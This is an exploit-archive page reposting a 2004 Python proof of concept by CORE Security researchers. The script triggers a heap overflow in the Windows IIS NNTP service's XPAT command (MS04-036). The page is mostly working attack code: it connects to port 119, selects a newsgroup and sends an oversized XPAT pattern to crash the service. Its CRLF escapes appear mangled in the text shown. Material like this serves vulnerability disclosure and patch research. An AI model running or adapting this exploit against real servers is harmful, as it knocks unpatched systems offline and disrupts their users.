MS Windows NNTP Service (XPAT) Denial of Service Exploit (MS04-036)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : MS Windows NNTP Service (XPAT) Denial of Service Exploit (MS04-036)
# Published : 2004-10-16
# Author : Lucas Lavarello
# Previous Title : BaSoMail Server 1.24 POP3/SMTP Remote Denial of Service Exploit
# Next Title : Monolith Games Local Buffer Overflow Exploit

#--
# IIS NNTP Service XPAT command heap overflow proof of concept
#
# Author:
#    Lucas Lavarello (lucas at coresecurity dot com)
#    Juliano Rizzo   (juliano at coresecurity dot com)
#
# Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
# All rights reserved.
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT,  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE
#
# www coresecurity com
#--
from socket import * 

host = "127.0.0.1"
pat = "C"*1946  + " " + "X"*10

newsgroup = "control.newgroup"

sock = socket(AF_INET, SOCK_STREAM)
sock.connect((host, 119))

print sock.recv(512)

sock.send("group %sx0dx0a" % newsgroup)

print sock.recv(512)

sock.send("xpat From 1-9 %s x0dx0a" % pat)


# www.Syue.com [2004-10-16]